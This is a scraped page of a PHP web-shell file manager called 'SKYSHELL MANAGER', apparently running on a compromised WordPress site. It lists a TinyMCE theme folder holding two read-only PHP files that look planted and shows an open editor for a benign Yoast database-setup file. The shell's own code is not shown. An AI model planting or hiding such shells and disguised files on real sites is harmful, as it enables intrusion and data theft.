📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: database-setup.php
<?php /** * Yoast SEO Plugin File. * * @package Yoast\YoastSEO\Config */ namespace Yoast\WP\Free\Database; use Yoast\WP\Free\Conditionals\No_Conditionals; use Yoast\WP\Free\Loggers\Logger; use Yoast\WP\Free\WordPress\Initializer; use Yoast\WP\Free\ORM\Yoast_Model; use YoastSEO_Vendor\ORM; /** * Configures the ORM with the database credentials. */ class Database_Setup implements Initializer { use No_Conditionals; /** * @var \YoastSEO_Vendor\Psr\Log\LoggerInterface */ protected $logger; /** * Database_Setup constructor. * * @param \Yoast\WP\Free\Loggers\Logger $logger The logger. */ public function __construct( Logger $logger ) { $this->logger = $logger; } /** * @inheritdoc */ public function initialize() { ORM::configure( 'mysql:host=' . \DB_HOST . ';dbname=' . \DB_NAME ); ORM::configure( 'username', \DB_USER ); ORM::configure( 'password', \DB_PASSWORD ); Yoast_Model::$auto_prefix_models = '\\Yoast\\WP\\Free\\Models\\'; Yoast_Model::$logger = $this->logger; } }
Save